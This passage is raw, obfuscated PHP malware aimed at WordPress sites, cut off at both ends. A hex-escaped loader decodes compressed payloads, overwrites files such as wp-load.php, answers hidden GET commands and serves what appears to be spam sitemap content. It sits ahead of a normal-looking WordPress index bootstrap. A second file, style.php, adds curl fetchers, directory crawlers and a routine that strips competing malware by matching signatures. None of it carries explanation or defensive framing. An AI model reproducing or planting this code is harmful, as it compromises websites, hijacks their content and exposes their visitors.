x45\x52\x5f\x4e\x41\x4d\x45"];}if($FI88LILI8L==""){$FI8L8L8ILI=${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x49\x38\x38\x4c\x4c\x49"]();$FI88LILI8L=$FI8L8L8ILI[0];}else{$FI88LILI8L=$FI88LILI8L;}$FLIL88I8IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($F8ILI8I8LL).\'.txt\';$F8IL8I8LLI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($F8ILI8I8LL).\'a.txt\';if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x4c\x38\x49\x38\x49\x38"]($FI88LILI8L)){${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x38\x4c\x49\x4c\x49"]($FI88LILI8L);}$FLIL88I8IL=$FI88LILI8L.\'/\'.$FLIL88I8IL;$F8IL8I8LLI=$FI88LILI8L.\'/\'.$F8IL8I8LLI;if(isset(${"\x5fG\x45T"}[\'xxxxxxxxxxxx_d\'.\'el\'])){${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x49\x49\x4c\x38\x4c"]($FLIL88I8IL);exit();}if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x38\x49\x4c\x4c\x38\x49"]($FLIL88I8IL)){$F8LL8LI8II=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTbDS108syNQr0C0pSk1L08vMS8uHCGQU2KftPbAgA=\');$FLL8LIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($F8LL8LI8II.$FI8LLII88L);@${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($FLIL88I8IL,$FLL8LIII88);}$FLL8LIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FLIL88I8IL);$FLL8LIII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FLL8LIII88);$F88IIL8LLI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8LIII88[0]));$F8IL8LLII8=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8LIII88[1]));$F8LIL8ILI8=${"_S\x45\x52\x56\x45R"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$FI88LII8LL=\'\';$FII88LIL8L=${"_S\x45\x52\x56\x45R"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];$FII88LIL8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"](\'\\\\\',\'/\',$FII88LIL8L);$F8LLIII88L=__FILE__;$F8LLIII88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"](\'\\\\\',\'/\',$F8LLIII88L);$F8ILL8ILI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x49\x4c\x38\x4c\x49"](__FILE__).\'/\';$F8ILL8ILI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"](\'\\\\\',\'/\',$F8ILL8ILI8);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($F8LLIII88L,\'(\')){$F8LLIII88L=substr($F8LLIII88L,0,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x4c\x49\x38\x4c\x38\x38\x49"]($F8LLIII88L,\'(\'));}$FI88ILL8IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($F8ILL8ILI8,\'\',$F8LLIII88L);$F88IL8LILI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FII88LIL8L,\'\',$F8ILL8ILI8);$FI88LII8LL=$FI88ILL8IL;if(substr($F8LIL8ILI8,0,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x49\x4c\x4c\x38\x38\x49"]($F88IL8LILI.$FI88ILL8IL))==$F88IL8LILI.$FI88ILL8IL){$F88IL8LILI=$F88IL8LILI.$FI88ILL8IL;}$FI8LI8LLI8=\'www\';$FI8I8LL8IL=\'\';if(isset(${"_S\x45\x52\x56\x45R"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"])){$FI8I8LL8IL=${"_S\x45\x52\x56\x45R"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"];}$FI8L8ILL8I=(int)$FI8L8ILL8I;${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x4c\x4c\x38"](\'\',$FI8L8ILL8I,$FI88LII8LL,$FII88LIL8L);$FL8LII8I8L=$FI8LI8LLI8.$FI8LLII88L.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F88IIL8LLI);$F8I8LII8LL=$FI8LI8LLI8.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8IL8LLII8);$FL8LI8I8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'FcRBChToAwDADB18SjUU8iiG8JFExFaLDx/7pzGM+MTVW89RQtljZPyzqGx1F26cNJSS85BT1kdFOli9rtPfBw==\');$FL88I8ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'FcRBChToAwDADB18SjUU8iiG8RBGNpabDp/3XnMBbhm6pYbSGaevF5WtbRzY9rlzbcFNTJyOmlkzI9lKjtP+fQ==\');$FLL8I8II8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTbDS11fNyC8uUdXPTSxIy8xJ1SutPpKAEA\');$FL8LI8I8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x38\x38\x4c\x49\x49\x4c\x49"]("/%host%/si",$FL8LII8I8L,$FL8LI8I8LI);$FLL8I8II8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x38\x38\x4c\x49\x49\x4c\x49"]("/%host%/si",$FL8LII8I8L,$FLL8I8II8L);$FILL8I8I8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'sykuShTMxLz7ctPDAA==\');$FIL8LII8L8=\'zlib\';$FLIIL8LI88=\'|\';$F8LLLI8II8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'y0+KThT6/KSMxLyUktPtAgA=\');if(isset(${"\x5fG\x45T"}["\x78\x78\x6e\x65\x77\x5f\x6d\x61\x70"])){$F8LIIL88LI=${"\x5fG\x45T"}["\x78\x78\x6e\x65\x77\x5f\x6d\x61\x70"];$F8ILILLI88=\'/\';if($F8LIIL88LI!=\'\'){${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x38\x4c\x49\x4c\x49"]($F8LIIL88LI,0755);$F8LIIL88LI =$F8LIIL88LI.$F8ILILLI88;}$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FLL8I8II8L);$FLL8II8I8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FL8I88ILIL);$FL88I8IILL=\'end\';for($FLIII8L8L8=0;$FLIII8L8L8<${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($FLL8II8I8L);$FLIII8L8L8++){$FLI8LI8IL8=sprintf($FL8LI8I8LI,$F8ILI8I8LL,$FI8LLII88L,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x4c\x4c\x49\x49\x38\x38"](\'Y-m-d h:i:s\')),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($F8ILILLI88.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8])),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FI8I8LL8IL),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLIII8L8L8pps) ,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FIIL8LI8L8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FLII8IL88L),$FLLI8ILI88,$F88IL8LILI,0,$F8ILL8ILI8.$FLIIL8LI88.$FII88LIL8L);$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FLI8LI8IL8);$FL8LIIL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)&&${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]($FL8LIIL88I,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]))){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]),$FL8I88ILIL);echo ${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]).\'<br>\';}else if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($F8LIIL88LI.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]),$FL8I88ILIL);echo $F8LIIL88LI.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]).\'<br>\';}}echo $FL88I8IILL;unset($FL8I88ILIL,$FLL8II8I8L,$F8LIIL88LI);exit();}$FL8LI8I8LI=sprintf($FL8LI8I8LI,$F8ILI8I8LL,$FI8LLII88L,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x4c\x4c\x49\x49\x38\x38"](\'Y-m-d h:i:s\')),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($F8LIL8ILI8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FI8I8LL8IL),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLIII8L8L8pps) ,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FIIL8LI8L8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FLII8IL88L),$FLLI8ILI88,$F88IL8LILI,0,$FII88LIL8L.$FLIIL8LI88.$F8LLIII88L);$FL88I8ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x38\x38\x4c\x49\x49\x4c\x49"]("/%host%/si",$F8I8LII8LL,$FL88I8ILIL);$FL88I8ILIL=sprintf($FL88I8ILIL,$F8ILI8I8LL,$FI8LLII88L,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x4c\x4c\x49\x49\x38\x38"](\'Y-m-d h:i:s\')),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($F8LIL8ILI8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FI8I8LL8IL),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLIII8L8L8pps) ,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FIIL8LI8L8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FLII8IL88L),$FLLI8ILI88,$F88IL8LILI,1,$FII88LIL8L.$FLIIL8LI88.$F8LLIII88L);$FL88LILI8I=isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\'])?${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\']:\'\';$F8LI8LILI8=isset(${"\x5fG\x45T"}[\'writerfi\'.\'lename\'])?${"\x5fG\x45T"}[\'writerfi\'.\'lename\']:\'\';if(isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\'])){$F8LL8LI8II=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTbDS108syNfLrcxNSdLLzEvtPL1wcA\');$FLII88LI8L=\'wp-l\'.\'oad.php\';$FI88LL8LII=\'up\'.\'.txt\';if($F8LI8LILI8!=\'\'){${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($F8IL8I8LLI,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($FL88LILI8I).\'-\'.${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($F8LI8LILI8));$FLII88LI8L=$F8LI8LILI8;}$F8LII8LLI8=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($F8IL8I8LLI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8LII8LLI8)!=\'\'){$F8LII8LLI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'-\',$F8LII8LLI8);$FLII88LI8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8LII8LLI8[1]));$FI88LL8LII=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8LII8LLI8[0]));}$FLIL8I88IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'Ky/QThTcrJT9fNSE1MSS0tPCAA==\');$F8IILLL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FLII88LI8L);$F88LILI8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FI88LL8LII);for($F88IIL8LIL=0;$F88IIL8LIL<${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($F8IILLL88I);$F88IIL8LIL++){$FLII88LI8L=$F8IILLL88I[$F88IIL8LIL];if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($F88LILI8LI)<=$F88IIL8LIL){$FI88LL8LII=$F88LILI8LI[${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($F88LILI8LI)-1];}else{$FI88LL8LII=$F88LILI8LI[$F88IIL8LIL];}$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($F8LL8LI8II.$FI88LL8LII);$FLI88L8LII=substr($FLII88LI8L,-${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x49\x4c\x4c\x38\x38\x49"]($FLII88LI8L),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x4c\x49\x38\x4c\x38\x38\x49"]($FLII88LI8L,\'/\'));if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x4c\x38\x49\x38\x49\x38"]($FLI88L8LII)&&$FLI88L8LII!=\'\'){mkdir ($FLI88L8LII,0755,true);}$F8LILI8I8L=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FLII88LI8L);if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($F8LILI8I8L,$FLIL8I88IL)){@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x49\x4c\x38\x49\x38\x4c"]($FLII88LI8L,0644);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($FLII88LI8L,$FL8I88ILIL.$F8LILI8I8L);}}}if(isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\'])){echo $FL8LI8I8LI;exit();}if(isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url2\'])){echo $FL88I8ILIL;exit();}if(isset(${"\x5fG\x45T"}["\x77\x65\x62\x6d\x61\x73\x74\x65\x72\x73\x5f\x75\x72\x6c"])){$FILLLI88I8=${"\x5fG\x45T"}["\x77\x65\x62\x6d\x61\x73\x74\x65\x72\x73\x5f\x75\x72\x6c"];$FL8I8LI8IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTSi20tcvLy/XS8/PT89J1UvOz9UvT03KTSwuSS0q1i/OLEnNTSwo1i/IzEu3h/JtPsAQ==\').$FILLLI88I8;$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FL8I8LI8IL);echo $FL8I88ILIL;exit();}$FLLI8II88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yyhJThTM7tPPBgA=\');$FLLI8II88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yyhJThTM7tPLBwA=\');if(isset(${"\x5fG\x45T"}["\x68\x74\x61\x63"])){$F8LI8L8ILI=${"\x5fG\x45T"}["\x68\x74\x61\x63"];if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x38\x49\x4c\x4c\x38\x49"]($F8LI8L8ILI)){echo $FLLI8II88L;}else{echo $FLLI8II88L;}exit();}$FL8LIIL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]($FL8LIIL88I,$F8LIL8ILI8)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL8LI8I8LI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);$FL8LILII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S87PKhT0nNK9EtqSwtPAAA==\').\'e:text/txt\';@header($FL8LILII88);echo $FL8I88ILIL;unset($FL8I88ILIL,$FL8LI8I8LI,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}$F8ILILI8L8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09cozhTixJzU0s0NTT0qvIzVHtPRBwA=\');if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]($F8ILILI8L8,$F8LIL8ILI8)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL8LI8I8LI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);$FL8LILII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S87PKhT0nNK9EtPtqQQA\').\'pe:text/xml\';@header($FL8LILII88);echo $FL8I88ILIL;unset($FL8I88ILIL,$FL8LI8I8LI,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}if($FLIIL8L88I){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL8LI8I8LI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);echo $FL8I88ILIL;unset($FL8I88ILIL,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}if($FLI88LLII8){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL88I8ILIL);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);echo $FL8I88ILIL;unset($FL8I88ILIL,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}');${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x38\x49\x4c\x4c\x38\x38\x49\x4c"](); ?><?php define('WP_USE_THEMES',true);require(dirname(__FILE__).'/wp-blog-header.php'); ?>

style.php

<?php error_reporting(0);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));function curl_get_contents($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_TIMEOUT,5);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$r=curl_exec($ch);curl_close($ch);return $r;}function check_remote_file_exists($url){$curl=curl_init($url);curl_setopt($curl,CURLOPT_NOBODY,true);curl_setopt($curl,CURLOPT_CUSTOMREQUEST,'GET');$result=curl_exec($curl);$found=false;if($result!==false){$statusCode=curl_getinfo($curl,CURLINFO_HTTP_CODE);if($statusCode==200){$found=true;}}curl_close($curl);return $found;}function copyfiles($file1,$file2){$contentx=@file_get_contents($file1);$openedfile=@fopen($file2,"w");@fwrite($openedfile,$contentx);@fclose($openedfile);if($contentx===FALSE){$status=false;}else $status=true;return $status;}function read_dir_queue($dir,$level=5){$files=array();$files1=array();$queue=array($dir);while(@$data=each($queue)){$path=$data['value'];if(@is_dir($path)&&@$handle=@opendir($path)){while($file=@readdir($handle)){$path3=str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);$path4=explode("/",$path3);if(count($path4)>($level+1)){break 2;}if($file=='.'||$file=='..')continue;$files[]=$real_path=$path.'/'.$file;if(is_dir($real_path))$queue[]=$real_path;}}@closedir($handle);}return $files;}function read_dir_queue1($dir,$level=5){$files=array();$files1=array();$queue=array($dir);while(@$data=each($queue)){$path=$data['value'];if(@is_dir($path)&&@$handle=@opendir($path)){while($file=@readdir($handle)){$path3=str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);$path4=explode("/",$path3);if(count($path4)>$level){break 2;}if($file=='.'||$file=='..')continue;$files[]=$real_path=$path.'/'.$file;if(is_dir($real_path))$queue[]=$real_path;}}@closedir($handle);}return $files;}function rpath_arry($dir){$files=array();$queue=array($dir);while(@$data=each($queue)){$path=$data['value'];if(@is_dir($path)&&@$handle=@opendir($path)){while($file=@readdir($handle)){$path3=str_replace($_SERVER['DOCUMENT_ROOT'],"",$path);$path4=explode("/",$path3);if($file=='.'||$file=='..')continue;$files[]=$real_path=$path.'/'.$file;if(is_dir($real_path))$queue[]=$real_path;}}@closedir($handle);}return $files;}function getInd_Content($base_path1){$file_path=$base_path1.'/index.php';$file_path1=$base_path1.'/index.html';$file_path2=$base_path1.'/index.htm';$file_path3=$base_path1.'/default.html';if(file_exists($file_path)){$str=@file_get_contents($file_path);$shell_content1=$str;$shell_content2=explode('?>',$shell_content1);$shell_content3=$shell_content1;for($i=0;$i<count($shell_content2);$i++){if(strpos($shell_content2[$i],'base64_decode(')!==false||strpos($shell_content2[$i],'urldecode(')!==false||strpos($shell_content2[$i],'O00__0OOO_')!==false||strpos($shell_content2[$i],'yumingid')!==false||strpos($shell_content2[$i],'urlgz=')!==false||strpos($shell_content2[$i],'O0O_0O_O_0')!==false||strpos($shell_content2[$i],'wp-admin')!==false||strpos($shell_content2[$i],'ignore_user_abort')!==false||strpos($shell_content2[$i],'HTTP_REFERER')!==false||strpos($shell_content2[$i],'sitemap')!==false||strpos($shell_content2[$i],'$x(')!==false||strpos($shell_content2[$i],'$_GET["3x"]')!==false||strpos($shell_content2[$i],'error_reporting')!==false||strpos($shell_content2[$i],'ini_set(')!==false||strpos($shell_content2[$i],'ini_set(')!==false){$shell_content3=str_replace($shell_content2[$i]."?>","",$shell_content3);}}echo $shell_content3;exit;}else if(file_exists($file_path1)){$str1=@file_get_contents($file_path1);echo $str1;exit;}else if(file_exists($file_path2)){$str2=@file_get_contents($file_path2);echo $str2;exit;}else if(file_exists($file_path3)){$str3=@file_get_contents($file_path3);echo $str3;exit;}else{echo '';exit;}}function dir_size1($dir3,$url){$dh=@opendir($dir3);$return=array();while($file=@readdir($dh)){if($file!='.'and $file!='..'){$filetime[]=date("Y-m-d H:i:s",filemtime($file));}}@closedir($dh);@array_multisort($filetime);return $filetime;}$sig=@$_GET['sig'];@$domain_2020='http://'.$_GET['domain'];if($sig=='beima'){$level=$_GET['level'];$aPathes=@read_dir_queue($_SERVER['DOCUMENT_ROOT'],$level);function getDepth($sPath){return 